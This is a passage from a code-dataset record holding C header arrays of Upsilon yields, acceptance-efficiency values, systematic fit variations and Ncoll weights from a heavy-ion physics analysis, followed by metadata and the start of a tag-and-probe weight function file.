STUFF\n// arrays for nPart dep pt/y-binned data\nfloat N1S_pp_pt3p5_2010[nPtBins_2010] = {2971,1601,337};\nfloat N1S_pp_pt3p5_2010e[nPtBins_2010] = {69,46,20};\nfloat N1S_pp_rap3p5_2010[nRapBins_2010] = {3068,1772};\nfloat N1S_pp_rap3p5_2010e[nRapBins_2010] = {65,54};\nfloat N1S_aa_y120[2] = {628.687,896.043};\nfloat N1S_aa_y120e[2] = {34.5313,46.832};\nfloat N1S_aa_y240[2] = {482.051,512.908};\nfloat N1S_aa_y240e[2] = {32.7068,40.6259};\nfloat N1S_aa_pt5[2] = {621.513,811.318};\nfloat N1S_aa_pt5e[2] = {37.7155,48.8599};\nfloat N1S_aa_pt12[2] = {398.64,496.135};\nfloat N1S_aa_pt12e[2] = {28.3544,38.1232};\nfloat N1S_aa_pt20[2] = {64.1709,113.79};\nfloat N1S_aa_pt20e[2] = {9.6791,13.3602};\n//other way to bin: pt/y-dependent nPart-binned\n//20-100,then 0-20 \n//commented ones - for ptMu>4 GeV, should be updated.\n/* float Aet_1S_pyquen_y120[nRapBins_2010]= {0.181,0.174}; */\n/* float Aet_1S_pyquen_y120e[nRapBins_2010]={0.002,0.003}; */\n/* float Aet_1S_pyquen_y240[nRapBins_2010] ={0.132,0.142}; */\n/* float Aet_1S_pyquen_y240e[nRapBins_2010]={0.003,0.003}; */\n/* float Aet_1S_pyquen_pt5[nRapBins_2010]= {0.227,0.215}; */\n/* float Aet_1S_pyquen_pt5e[nRapBins_2010]= {0.002,0.003}; */\n/* float Aet_1S_pyquen_pt12[nRapBins_2010]= {0.228,0.218}; */\n/* float Aet_1S_pyquen_pt12e[nRapBins_2010]= {0.004,0.004}; */\n/* float Aet_1S_pyquen_pt20[nRapBins_2010]= {0.356,0.341}; */\n/* float Aet_1S_pyquen_pt20e[nRapBins_2010]= {0.004,0.005}; */\n//20-100,then 0-20 \nfloat Aet_1S_pyquen_y120[nRapBins_2010]= {0.259,0.249}; \nfloat Aet_1S_pyquen_y120e[nRapBins_2010]={0.002,0.003};\nfloat Aet_1S_pyquen_y240[nRapBins_2010] ={0.211,0.196};\nfloat Aet_1S_pyquen_y240e[nRapBins_2010]={0.003,0.003};\nfloat Aet_1S_pyquen_pt5[nRapBins_2010]= {0.236,0.224};\nfloat Aet_1S_pyquen_pt5e[nRapBins_2010]= {0.002,0.003};\nfloat Aet_1S_pyquen_pt12[nRapBins_2010]= {0.217,0.207};\nfloat Aet_1S_pyquen_pt12e[nRapBins_2010]= {0.004,0.004};\nfloat Aet_1S_pyquen_pt20[nRapBins_2010]= {0.395,0.379};\nfloat Aet_1S_pyquen_pt20e[nRapBins_2010]= {0.004,0.005};\n///BELOW: NOT THE SAME PT BINS....can't be used.\nfloat Ae_1S_pyquen_DD020[nRapBins_2010]={0.266,0.305};\nfloat Ae_1S_pyquen_DD20100[nRapBins_2010]={0.278,0.328};\nfloat Ae_1S_pyquen_DD020e[nRapBins_2010]={0.002,0.0032};\nfloat Ae_1S_pyquen_DD20100e[nRapBins_2010]={0.0017,0.0027};\nfloat Aet_1S_pyquen_DDR020[nRapBins_2010]={0.249,0.196};\nfloat Aet_1S_pyquen_DDR020e[nRapBins_2010]={0.003,0.003};\nfloat Aet_1S_pyquen_DDR20100[nRapBins_2010]={0.259,0.211};\nfloat Aet_1S_pyquen_DDR20100e[nRapBins_2010]={0.003,0.003};\nfloat Aet_1S_pyquen_DDP020[nPtBins_2010]={0.215,0.218,0.341};\nfloat Aet_1S_pyquen_DDP020e[nPtBins_2010]={0.003,0.004,0.005};\nfloat Aet_1S_pyquen_DDP20100[nPtBins_2010]={0.227,0.228,0.356};\nfloat Aet_1S_pyquen_DDP20100e[nPtBins_2010]={0.002,0.004,0.004};\nfloat e_1S_pyquen_DD020[nRapBins_2010]={0.596,0.577};\nfloat e_1S_pyquen_DD20100[nRapBins_2010]={0.621,0.622};\nfloat e_1S_pyquen_DD020e[nRapBins_2010]={0.0051,0.0066};\nfloat e_1S_pyquen_DD20100e[nRapBins_2010]={0.0043,0.0057};\nfloat A_1S_pyquen_DD020[nRapBins_2010]={0.447,0.530};\nfloat A_1S_pyquen_DD20100[nRapBins_2010]={0.449,0.528};\nfloat A_1S_pyquen_DD020e[nRapBins_2010]={0.0024,0.0039};\nfloat A_1S_pyquen_DD20100e[nRapBins_2010]={0.0020,0.0032};\nfloat t_1S_pyquen_DDR020[nRapBins_2010]= {1.067,1.122};\nfloat t_1S_pyquen_DDR20100[nRapBins_2010]= {1.067,1.122};\nfloat t_1S_pyquen_DDP020[nPtBins_2010]= {1.099,1.066,1.043};\nfloat t_1S_pyquen_DDP20100[nPtBins_2010]= {1.1,1.066,1.043};\n\n/// INTEGRATED STUFF\n/* float N1S_pp_tot3p5=5512; */\n/* float N1S_pp_tot3p5e=116; */\n\n/* float N2S_pp_tot3p5=1770; */\n/* float N2S_pp_tot3p5e=72; */\n/* float N2S_pp_tot4=1404; */\n/* float N2S_pp_tot4e=65; */\n\n/* float N3S_pp_tot3p5=906; */\n/* float N3S_pp_tot3p5e=60; */\n/* float N3S_pp_tot4= 755; */\n/* float N3S_pp_tot4e=53; */\n\n\n// test bench\nfloat N1S_pp_tot3p5=4919;\nfloat N1S_pp_tot3p5e=86;\nfloat N1S_pp_tot4=3485;\nfloat N1S_pp_tot4e=72;\nfloat N2S_pp_tot3p5=1541;\nfloat N2S_pp_tot3p5e=59;\nfloat N2S_pp_tot4=1183;\nfloat N2S_pp_tot4e=49;\nfloat N3S_pp_tot3p5=737;\nfloat N3S_pp_tot3p5e=50;\nfloat N3S_pp_tot4= 601;\nfloat N3S_pp_tot4e=41;\n\n\n///p-Pb (1st part of the run)\nfloat N1S_pa_pt3p5[nPtBins_2014]={1182,1010,940,659,381,77};\nfloat N1S_pa_pt3p5e[nPtBins_2014]={136,37,49,40,23,10};\nfloat N2S_pa_pt3p5[nPtBins_2014]={181,218,220,191,77,37.1};\nfloat N2S_pa_pt3p5e[nPtBins_2014]={62,30,29,26,13,7.9};\nfloat N3S_pa_pt3p5[nPtBins_2014]={37,71,48,46,74,27.2};\nfloat N3S_pa_pt3p5e[nPtBins_2014]={40,27,23,19,12,7.2};\n\nfloat N1S_pp_m146p239pt3p5[nPtBins_2014]={1766,1518,1091,664,347,62.2};\nfloat N1S_pp_m146p239pt3p5e[nPtBins_2014]={57,48,42,26,23,9.6};\nfloat N2S_pp_m146p239pt3p5[nPtBins_2014]={432,512,370,251,139,31.4};\nfloat N2S_pp_m146p239pt3p5e[nPtBins_2014]={35,37,27,16,15,7.6};\nfloat N3S_pp_m146p239pt3p5[nPtBins_2014]={192,266,176,118,79,21.4};\nfloat N3S_pp_m146p239pt3p5e[nPtBins_2014]={28,37,22,13,13,6.4};\n\n\n/* float N1S_pa_pt4[nPtBins_2014]={647,}; */\n/* float N1S_pa_pt4e[nPtBins_2014]={50}; */\n/* float N2S_pa_pt4[nPtBins_2014]={647,}; */\n/* float N2S_pa_pt4e[nPtBins_2014]={50}; */\n/* float N3S_pa_pt4[nPtBins_2014]={647,}; */\n/* float N3S_pa_pt4e[nPtBins_2014]={50}; */\n\n/* float N1S_pa_rap3p5[nRapBins_pPb]={647,}; */\n/* float N1S_pa_rap3p5e[nRapBins_pPb]={50}; */\n/* float N2S_pa_rap3p5[nRapBins_pPb]={647,}; */\n/* float N2S_pa_rap3p5e[nRapBins_pPb]={50}; */\n/* float N3S_pa_rap3p5[nRapBins_pPb]={647,}; */\n/* float N3S_pa_rap3p5e[nRapBins_pPb]={50}; */\n\n/* float N1S_pa_rap4[nRapBins_pPb]={647,}; */\n/* float N1S_pa_rap4e[nRapBins_pPb]={50}; */\n/* float N2S_pa_rap4[nRapBins_pPb]={647,}; */\n/* float N2S_pa_rap4e[nRapBins_pPb]={50}; */\n/* float N3S_pa_rap4[nRapBins_pPb]={647,}; */\n/* float N3S_pa_rap4e[nRapBins_pPb]={50}; */\n\n\n\n//// systematics\n\nfloat N1S_pp_pt3p5s[nPtBins_2013]={0.134,0.0827,0.1236,0.0811,0.0345};\nfloat N1S_aa_pt3p5s[nPtBins_2013]={0.316,0.1742,0.3831,0.0555,0.0410};\n\nfloat N1S_pp_rap3p5s[nRapBins_2014]={0.0873,0.0630,0.0522,0.0962,0.0629,0.0436};\nfloat N1S_aa_rap3p5s[nRapBins_2014]={0.1122,0.0746,0.1883,0.2029,0.4291,0.3936};\n\n// from fitting.\nfloat N1S_pp_tot3p5s=0.0135;\nfloat N1S_aa_tot3p5s=0.0291;\n // from fitting.\nfloat N1S_pp_tot4s=0.0160;\nfloat N1S_aa_tot4s=0.0281;\n\nfloat N2S_pp_tot4s=0.0209;\nfloat N2S_aa_tot4s=0.0712;\n\n//fit+bkg vars\nfloat N1S_pp_pt3p5s_2p5[nfitvars] = {1551.36,1503.74,1591.1,1612.99,1575.85};\nfloat N1S_pp_pt3p5s_5[nfitvars] = {1412.04,1416.2,1455.97,1460.41,1455.03};\nfloat N1S_pp_pt3p5s_8[nfitvars] = {977.022,987.61,988.759,990.138,989.837};\nfloat N1S_pp_pt3p5s_12[nfitvars] = {627.401,624.418,626.702,629.589,623.676};\nfloat N1S_pp_pt3p5s_20[nfitvars] = {339.209,340.552,344.76,340.984,344.943};\nfloat N2S_pp_pt4s_2p5[nfitvars] = {288.91,296.194,306.122,302.192,306.058};\nfloat N2S_pp_pt4s_5[nfitvars] = {244.648,253.123,260.315,258.962,262.363};\nfloat N2S_pp_pt4s_8[nfitvars] = {248.689,242.467,252.112,250.518,251.855};\nfloat N2S_pp_pt4s_12[nfitvars] = {200.189,199.4,201.114,198.357,200.519};\nfloat N2S_pp_pt4s_20[nfitvars] = {114.985,114.688,115.522,115.277,115.705};\nfloat N3S_pp_pt4s_2p5[nfitvars] = {119.497,124.473,130.36,127.857,130.264};\nfloat N3S_pp_pt4s_5[nfitvars] = {158.476,165.395,170.991,169.847,172.143};\nfloat N3S_pp_pt4s_8[nfitvars] = {116.39,112.12,116.914,114.537,116.036};\nfloat N3S_pp_pt4s_12[nfitvars] = {94.5617,92.0486,91.3734,88.1354,91.048};\nfloat N3S_pp_pt4s_20[nfitvars] = {69.8923,69.6733,70.4469,70.2467,70.6038};\nfloat N1S_pp_rap3p5s_0p4[nfitvars] = {1094.01,1070.82,1094.08,1114.94,1090.31};\nfloat N1S_pp_rap3p5s_0p8[nfitvars] = {1075.09,1072.27,1094.71,1109.02,1088.28};\nfloat N1S_pp_rap3p5s_1p2[nfitvars] = {923.127,946.509,960.264,949.721,960.566};\nfloat N1S_pp_rap3p5s_1p6[nfitvars] = {910.987,898.813,935.788,947.661,928.601};\nfloat N1S_pp_rap3p5s_2p0[nfitvars] = {630.664,644.029,705.655,647.458,647.212};\nfloat N1S_pp_rap3p5s_2p4[nfitvars] = {236.822,258.277,237.745,264.77,239.334};\nfloat N2S_pp_rap4s_0p4[nfitvars] = {244.696,236.591,256.466,248.127,255.583};\nfloat N2S_pp_rap4s_0p8[nfitvars] = {255.035,240.272,263.379,267.218,262.022};\nfloat N2S_pp_rap4s_1p2[nfitvars] = {216.76,220.338,228.537,223.939,228.701};\nfloat N2S_pp_rap4s_1p6[nfitvars] = {224.748,210.839,230.596,234.257,226.498};\nfloat N2S_pp_rap4s_2p0[nfitvars] = {167.509,169.966,190.421,190.231,176.025};\nfloat N2S_pp_rap4s_2p4[nfitvars] = {42.7718,45.0044,43.45,39.4499,43.4222};\nfloat N3S_pp_rap4s_0p4[nfitvars] = {122.665,116.789,129.98,123.985,128.838};\nfloat N3S_pp_rap4s_0p8[nfitvars] = {125.799,115.323,132.831,131.94,131.162};\nfloat N3S_pp_rap4s_1p2[nfitvars] = {124.273,127.287,132.772,129.462,131.916};\nfloat N3S_pp_rap4s_1p6[nfitvars] = {91.2884,82.4691,92.5832,93.7583,90.8004};\nfloat N3S_pp_rap4s_2p0[nfitvars] = {64.358,65.7561,68.9296,68.8838,68.8031};\nfloat N3S_pp_rap4s_2p4[nfitvars] = {43.8436,46.7949,44.7065,52.6079,44.8781};\nfloat N1S_aa_pt3p5s_2p5[nfitvars] = {865.4,920.556,755.096,752.253,751.415};\nfloat N1S_aa_pt3p5s_5[nfitvars] = {776.272,741.245,769.536,755.469,766.697};\nfloat N1S_aa_pt3p5s_8[nfitvars] = {541.646,554.063,472.835,561.686,485.975};\nfloat N1S_aa_pt3p5s_12[nfitvars] = {343.795,352.41,376.698,361.884,369.617};\nfloat N1S_aa_pt3p5s_20[nfitvars] = {186.607,182.43,185.841,187.157,187.692};\nfloat N2S_ppLarge_pt4s_6p5[nfitvars] = {530.876,548.597,576.439,574.572,578.215};\nfloat N2S_ppLarge_pt4s_10[nfitvars] = {458.448,455.72,459.89,452.989,457.641};\nfloat N2S_ppLarge_pt4s_20[nfitvars] = {114.985,114.688,115.522,115.277,115.705};\nfloat N2S_aa_pt4s_6p5[nfitvars] = {48.1304,79.3716,50.0611,46.173,49.7512};\nfloat N2S_aa_pt4s_10[nfitvars] = {39.5245,33.7405,33.6895,36.3003,34.9376};\nfloat N2S_aa_pt4s_20[nfitvars] = {22.7953,23.1498,22.3989,22.5072,22.4754};\nfloat N2S_aa_pt3p5s_6p5[nfitvars] = {95.1672,85.0276,80.7046,73.2944,81.1674};\nfloat N2S_aa_pt3p5s_10[nfitvars] = {46.3699,46.4382,46.161,52.2496,44.0908};\nfloat N2S_aa_pt3p5s_20[nfitvars] = {23.1528,22.5957,22.9837,23.1469,23.1199};\nfloat N2S_ppLarge_rap4s_1p2[nfitvars] = {719.068,705.292,738.948,736.799,733.355};\nfloat N2S_ppLarge_rap4s_2p4[nfitvars] = {446.498,424.807,456.757,451.73,454.113};\nfloat N1S_aa_rap3p5s_0p4[nfitvars] = {480.944,526.746,494.066,486.577,492.865};\nfloat N1S_aa_rap3p5s_0p8[nfitvars] = {486.08,521.988,479.078,474.525,479.831};\nfloat N1S_aa_rap3p5s_1p2[nfitvars] = {568.145,588.133,570.918,616.665,566.662};\nfloat N1S_aa_rap3p5s_1p6[nfitvars] = {584.312,506.526,566.485,530.188,566.889};\nfloat N1S_aa_rap3p5s_2p0[nfitvars] = {440.689,432.897,372.857,370.168,370.377};\nfloat N1S_aa_rap3p5s_2p4[nfitvars] = {134.967,130.051,126.072,127.257,122.025};\nfloat N2S_aa_rap4s_1p2[nfitvars] = {77.8093,80.3815,77.799,77.3153,77.279};\nfloat N2S_aa_rap4s_2p4[nfitvars] = {85.0798,57.5761,61.9214,56.7595,61.8921};\nfloat N1S_aa_cents_5[nfitvars] = {527.304,458.996,405.846,411.635,411.202};\nfloat N1S_aa_cents_10[nfitvars] = {483.06,464.257,425.934,415.773,426.373};\nfloat N1S_aa_cents_20[nfitvars] = {650.328,719.946,629.763,680.176,633.984};\nfloat N1S_aa_cents_30[nfitvars] = {432.813,428.049,432.383,428.356,433.643};\nfloat N1S_aa_cents_40[nfitvars] = {324.049,323.075,312.315,300.72,313.053};\nfloat N1S_aa_cents_50[nfitvars] = {211.899,194.82,183.42,178.791,182.47};\nfloat N1S_aa_cents_70[nfitvars] = {167.479,165.024,181.598,172.38,181.077};\nfloat N1S_aa_cents_100[nfitvars] = {62.6612,54.6863,42.2366,50.5082,42.6462};\nfloat N1S_aa_cent4s_5[nfitvars] = {377.189,357.846,301.991,317.525,301.862};\nfloat N1S_aa_cent4s_10[nfitvars] = {300.966,276.627,290.614,281.101,290.808};\nfloat N1S_aa_cent4s_20[nfitvars] = {469.922,507.147,439.833,465.253,435.299};\nfloat N1S_aa_cent4s_30[nfitvars] = {317.146,317.622,327.676,317.721,324.273};\nfloat N1S_aa_cent4s_40[nfitvars] = {229.149,222.712,232.974,227.307,229.832};\nfloat N1S_aa_cent4s_50[nfitvars] = {103.047,106.075,96.6576,95.9218,93.4448};\nfloat N1S_aa_cent4s_100[nfitvars] = {170.936,176.605,152.93,151.306,152.246};\nfloat N2S_aa_cents_5[nfitvars] = {46.9266,39.568,27.7429,29.9068,27.7613};\nfloat N2S_aa_cents_10[nfitvars] = {6.62404,4.0587,2.76191,3.99787,3.01325};\nfloat N2S_aa_cents_20[nfitvars] = {35.3114,37.1553,25.3579,28.4838,23.7721};\nfloat N2S_aa_cents_30[nfitvars] = {30.7702,30.3883,35.1904,30.7266,34.2485};\nfloat N2S_aa_cents_40[nfitvars] = {43.2605,40.4087,44.8406,41.1941,43.7008};\nfloat N2S_aa_cents_50[nfitvars] = {22.9744,26.4398,23.7966,22.4121,23.0766};\nfloat N2S_aa_cents_100[nfitvars] = {19.6807,17.901,14.8746,13.3663,14.8582};\nfloat N1B_pp_pt3p5s_2p5[nbkgdvars] = {1526.43,1488.72};\nfloat N1B_pp_pt3p5s_5[nbkgdvars] = {1415.74,1419};\nfloat N1B_pp_pt3p5s_8[nbkgdvars] = {963.603,962.357};\nfloat N1B_pp_pt3p5s_12[nbkgdvars] = {606.6,606.449};\nfloat N1B_pp_pt3p5s_20[nbkgdvars] = {339.866,340.617};\nfloat N2B_pp_pt4s_2p5[nbkgdvars] = {280.102,289.126};\nfloat N2B_pp_pt4s_5[nbkgdvars] = {262.007,257.338};\nfloat N2B_pp_pt4s_8[nbkgdvars] = {237.535,239.8};\nfloat N2B_pp_pt4s_12[nbkgdvars] = {191.502,191.389};\nfloat N2B_pp_pt4s_20[nbkgdvars] = {113.999,114.572};\nfloat N3B_pp_pt4s_2p5[nbkgdvars] = {115.893,120.403};\nfloat N3B_pp_pt4s_5[nbkgdvars] = {172.566,168.988};\nfloat N3B_pp_pt4s_8[nbkgdvars] = {108.971,110.285};\nfloat N3B_pp_pt4s_12[nbkgdvars] = {86.2309,86.1362};\nfloat N3B_pp_pt4s_20[nbkgdvars] = {68.8344,69.5204};\nfloat N1B_pp_rap3p5s_0p4[nbkgdvars] = {1042.88,1048.55};\nfloat N1B_pp_rap3p5s_0p8[nbkgdvars] = {1060.11,1056.56};\nfloat N1B_pp_rap3p5s_1p2[nbkgdvars] = {925.617,929.916};\nfloat N1B_pp_rap3p5s_1p6[nbkgdvars] = {894.436,893.83};\nfloat N1B_pp_rap3p5s_2p0[nbkgdvars] = {656.061,641.497};\nfloat N1B_pp_rap3p5s_2p4[nbkgdvars] = {240.706,233.369};\nfloat N2B_pp_rap4s_0p4[nbkgdvars] = {239.264,238.869};\nfloat N2B_pp_rap4s_0p8[nbkgdvars] = {250.362,249.438};\nfloat N2B_pp_rap4s_1p2[nbkgdvars] = {210.617,216.568};\nfloat N2B_pp_rap4s_1p6[nbkgdvars] = {215.938,220.341};\nfloat N2B_pp_rap4s_2p0[nbkgdvars] = {175.566,173.867};\nfloat N2B_pp_rap4s_2p4[nbkgdvars] = {42.4619,41.0886};\nfloat N2B_ppLarge_pt4s_6p5[nbkgdvars] = {557.721,559.339};\nfloat N2B_ppLarge_pt4s_10[nbkgdvars] = {434.568,437.118};\nfloat N2B_ppLarge_pt4s_20[nbkgdvars] = {113.999,114.572};\nfloat N2B_ppLarge_rap4s_1p2[nbkgdvars] = {681.923,686.676};\nfloat N2B_ppLarge_rap4s_2p4[nbkgdvars] = {415.591,418.387};\nfloat N3B_pp_rap4s_0p4[nbkgdvars] = {118.81,118.667};\nfloat N3B_pp_rap4s_0p8[nbkgdvars] = {121.223,121.614};\nfloat N3B_pp_rap4s_1p2[nbkgdvars] = {124.162,129.691};\nfloat N3B_pp_rap4s_1p6[nbkgdvars] = {87.8692,86.4333};\nfloat N3B_pp_rap4s_2p0[nbkgdvars] = {68.636,68.8069};\nfloat N3B_pp_rap4s_2p4[nbkgdvars] = {44.3264,44.1482};\nfloat N1B_aa_pt3p5s_2p5[nbkgdvars] = {719.236,714.063};\nfloat N1B_aa_pt3p5s_5[nbkgdvars] = {701.647,700.585};\nfloat N1B_aa_pt3p5s_8[nbkgdvars] = {541.604,545.933};\nfloat N1B_aa_pt3p5s_12[nbkgdvars] = {356.408,354.699};\nfloat N1B_aa_pt3p5s_20[nbkgdvars] = {186.325,189.371};\nfloat N2B_aa_pt4s_6p5[nbkgdvars] = {45.9799,50.3596};\nfloat N2B_aa_pt4s_10[nbkgdvars] = {36.8167,37.7405};\nfloat N2B_aa_pt4s_20[nbkgdvars] = {24.0949,24.6774};\nfloat N2B_aa_pt3p5s_6p5[nbkgdvars] = {65.1113,64.2125};\nfloat N2B_aa_pt3p5s_10[nbkgdvars] = {58.2009,49.4513};\nfloat N2B_aa_pt3p5s_20[nbkgdvars] = {24.5437,25.8653};\nfloat N1B_aa_rap3p5s_0p4[nbkgdvars] = {480.545,488.964};\nfloat N1B_aa_rap3p5s_0p8[nbkgdvars] = {487.651,481.64};\nfloat N1B_aa_rap3p5s_1p2[nbkgdvars] = {554.208,558.021};\nfloat N1B_aa_rap3p5s_1p6[nbkgdvars] = {544.545,546.067};\nfloat N1B_aa_rap3p5s_2p0[nbkgdvars] = {357.161,356.25};\nfloat N1B_aa_rap3p5s_2p4[nbkgdvars] = {111.675,111.439};\nfloat N2B_aa_rap4s_1p2[nbkgdvars] = {75.651,72.8381};\nfloat N2B_aa_rap4s_2p4[nbkgdvars] = {36.8759,54.0287};\nfloat N1B_aa_cents_5[nbkgdvars] = {399.859,399.24};\nfloat N1B_aa_cents_10[nbkgdvars] = {400.114,402.335};\nfloat N1B_aa_cents_20[nbkgdvars] = {608.513,634.87};\nfloat N1B_aa_cents_30[nbkgdvars] = {420.117,419.81};\nfloat N1B_aa_cents_40[nbkgdvars] = {282.073,282.267};\nfloat N1B_aa_cents_50[nbkgdvars] = {165.174,164.831};\nfloat N1B_aa_cents_70[nbkgdvars] = {170.652,171.036};\nfloat N1B_aa_cents_100[nbkgdvars] = {43.9433,45.0969};\nfloat N1B_aa_cent4s_5[nbkgdvars] = {280.602,277.947};\nfloat N1B_aa_cent4s_10[nbkgdvars] = {270.861,271.235};\nfloat N1B_aa_cent4s_20[nbkgdvars] = {426.771,405.645};\nfloat N1B_aa_cent4s_30[nbkgdvars] = {291.442,295.678};\nfloat N1B_aa_cent4s_40[nbkgdvars] = {205.947,204.602};\nfloat N1B_aa_cent4s_50[nbkgdvars] = {81.5316,81.3344};\nfloat N1B_aa_cent4s_100[nbkgdvars] = {145.321,145.301};\nfloat N2B_aa_cents_5[nbkgdvars] = {17.5189,28.5617};\nfloat N2B_aa_cents_10[nbkgdvars] = {2.15618,2.69943};\nfloat N2B_aa_cents_20[nbkgdvars] = {22.6711,12.2695};\nfloat N2B_aa_cents_30[nbkgdvars] = {17.1753,23.1775};\nfloat N2B_aa_cents_40[nbkgdvars] = {32.8176,31.9632};\nfloat N2B_aa_cents_50[nbkgdvars] = {16.2227,16.763};\nfloat N2B_aa_cents_100[nbkgdvars] = {14.7194,15.122};\nfloat N1S_pp_pt4s_2p5[nfitvars] = {919.354,938.642,960.939,953.814,961.452};\nfloat N1S_pp_pt4s_5[nfitvars] = {777.223,797.31,813.437,810.764,818.061};\nfloat N1S_pp_pt4s_8[nfitvars] = {732.436,717.384,740.247,742.262,739.746};\nfloat N1S_pp_pt4s_12[nfitvars] = {541.724,537.933,545.765,544.536,543.358};\nfloat N1S_pp_pt4s_20[nfitvars] = {306.258,305.741,308.078,307.306,308.459};\nfloat N1B_pp_pt4s_2p5[nbkgdvars] = {958.366,939.811};\nfloat N1B_pp_pt4s_5[nbkgdvars] = {811.33,806.999};\nfloat N1B_pp_pt4s_8[nbkgdvars] = {707.977,710.258};\nfloat N1B_pp_pt4s_12[nbkgdvars] = {522.925,522.901};\nfloat N1B_pp_pt4s_20[nbkgdvars] = {305.868,306.233};\nfloat N1S_pp_rap4s_0p4[nfitvars] = {759.933,743.57,776.503,766.534,777.307};\nfloat N1S_pp_rap4s_0p8[nfitvars] = {795.284,763.65,814.936,831.548,814.184};\nfloat N1S_pp_rap4s_1p2[nfitvars] = {643.733,655.127,677.463,666.583,679.759};\nfloat N1S_pp_rap4s_1p6[nfitvars] = {607.866,585.223,619.926,630.089,614.12};\nfloat N1S_pp_rap4s_2p0[nfitvars] = {415.212,418.697,462.576,462.825,427.87};\nfloat N1S_pp_rap4s_2p4[nfitvars] = {168.473,174.339,170.652,190.257,171.11};\nfloat N1B_pp_rap4s_0p4[nbkgdvars] = {749.19,748.418};\nfloat N1B_pp_rap4s_0p8[nbkgdvars] = {788.856,782.969};\nfloat N1B_pp_rap4s_1p2[nbkgdvars] = {640.436,642.753};\nfloat N1B_pp_rap4s_1p6[nbkgdvars] = {585.497,599.01};\nfloat N1B_pp_rap4s_2p0[nbkgdvars] = {427.292,423.927};\nfloat N1B_pp_rap4s_2p4[nbkgdvars] = {168.797,164.293};\nfloat N1S_aa_pt4s_2p5[nfitvars] = {430.166,443.247,420.696,411.079,411.803};\nfloat N1S_aa_pt4s_5[nfitvars] = {403.16,396.608,426.023,411.094,427.04};\nfloat N1S_aa_pt4s_8[nfitvars] = {378.56,448.12,323.332,315.504,331.11};\nfloat N1S_aa_pt4s_12[nfitvars] = {293.283,290.63,307.638,300.843,305.861};\nfloat N1S_aa_pt4s_20[nfitvars] = {168.534,168.108,163.857,164.872,164.913};\nfloat N1B_aa_pt4s_2p5[nbkgdvars] = {454.634,443.996};\nfloat N1B_aa_pt4s_5[nbkgdvars] = {439.921,449.319};\nfloat N1B_aa_pt4s_8[nbkgdvars] = {347.759,346.262};\nfloat N1B_aa_pt4s_12[nbkgdvars] = {293.764,293.804};\nfloat N1B_aa_pt4s_20[nbkgdvars] = {165.32,166.89};\nfloat N1S_aa_rap4s_0p4[nfitvars] = {307.504,306.424,311.204,310.091,311.177};\nfloat N1S_aa_rap4s_0p8[nfitvars] = {384.879,356.467,342.608,337.701,339.681};\nfloat N1S_aa_rap4s_1p2[nfitvars] = {405.502,402.718,403.355,421.328,407.013};\nfloat N1S_aa_rap4s_1p6[nfitvars] = {482.011,357.876,414.577,405.619,392.567};\nfloat N1S_aa_rap4s_2p0[nfitvars] = {344.989,266.14,237.868,248.315,248.19};\nfloat N1S_aa_rap4s_2p4[nfitvars] = {124.988,85.2752,83.6531,82.0845,81.2377};\nfloat N1B_aa_rap4s_0p4[nbkgdvars] = {302.747,304.347};\nfloat N1B_aa_rap4s_0p8[nbkgdvars] = {351.02,351.061};\nfloat N1B_aa_rap4s_1p2[nbkgdvars] = {403.031,416.146};\nfloat N1B_aa_rap4s_1p6[nbkgdvars] = {376.116,368.669};\nfloat N1B_aa_rap4s_2p0[nbkgdvars] = {211.752,226.566};\nfloat N1B_aa_rap4s_2p4[nbkgdvars] = {67.6028,67.8271};\n\n//NCOLL Weights\n\nfloat NcollMean[40]=\n {1747.49\n ,1566.92\n ,1393.97\n ,1237.02\n ,1095.03\n ,979.836\n ,863.228\n ,765.968\n ,677.894\n ,594.481\n ,522.453\n ,456.049\n ,399.178\n ,347.174\n ,299.925\n ,258.411\n ,221.374\n ,188.676\n ,158.896\n ,135.117\n ,112.481\n ,93.5697\n ,77.9192\n ,63.2538\n ,52.0938\n ,42.3553\n ,33.7461\n ,27.3213\n ,21.8348\n ,17.1722\n ,13.5661\n ,10.6604\n ,8.31383\n ,6.37662\n ,5.12347\n ,3.73576\n ,3.07268\n ,2.41358\n ,2.10707\n ,1.76851};\n" }, { "alpha_fraction": 0.29369547963142395, "alphanum_fraction": 0.5211851596832275, "avg_line_length": 67.25843048095703, "blob_id": "deccc634bdf59923ee2968565ca185e8fce833f0", "content_id": "362c0ec6820585944f2ff50c79dc7108fe4861fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 60750, "license_type": "no_license", "max_line_length": 77, "num_lines": 890, "path": "/acceptance_efficiency/tnp_weight_oldnominal_newmassrange.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef tnp_weight_h\n#define tnp_weight_h\n\n#include \"TMath.h\"\n\n///////////////////////////////////////////////////\n// ___ _____ _ _____ _ _____ _____ _____ //\n// / __|_ _/_\\_ _|| |_/ __\\ \\ / / __|_ _| //\n// \\__ \\ | |/ _ \\| ||_ _\\__ \\\\ V /\\__ \\ | | //\n// |___/ |_/_/ \\_\\_| |_| |___/ |_| |___/ |_| //\n// //\n///////////////////////////////////////////////////\n\n// NB\n// idx = 0 -> nominal\n// idx = 1..100 -> 100 variations, stat+syst\n\n/////////////////////////////////////////////////////////////\n// M U I D + T R G P b P b //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_muidtrg_pbpb(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9724*TMath::Erf((x-0.4114)/3.3775);\n else if (fabs(eta)<1.6) den = 0.9502*TMath::Erf((x-1.3857)/2.0757);\n else if (fabs(eta)<2.1) den = 0.8971*TMath::Erf((x-1.0984)/2.3510);\n else den = 0.7763*TMath::Erf((x-0.8419)/1.6742);\n\n // numerator (from data)\n double num=1;\n\n if (fabs(eta)<0.9)\n {\n if (idx==0) num = 0.9646*TMath::Erf((x-0.1260)/3.5155);\n else if (idx == 1 ) num = num = 0.9570*TMath::Erf((x-0.0000)/3.4002);\n else if (idx == 2 ) num = num = 0.9716*TMath::Erf((x-0.0001)/3.9006);\n else if (idx == 3 ) num = num = 0.9590*TMath::Erf((x-0.0019)/3.5880);\n else if (idx == 4 ) num = num = 0.9585*TMath::Erf((x-0.0000)/3.6206);\n else if (idx == 5 ) num = num = 0.9687*TMath::Erf((x-0.4483)/3.3383);\n else if (idx == 6 ) num = num = 0.9502*TMath::Erf((x-0.0000)/3.5544);\n else if (idx == 7 ) num = num = 0.9555*TMath::Erf((x-0.1610)/3.5168);\n else if (idx == 8 ) num = num = 0.9704*TMath::Erf((x-0.4256)/3.2025);\n else if (idx == 9 ) num = num = 0.9637*TMath::Erf((x-0.0046)/3.5862);\n else if (idx == 10 ) num = num = 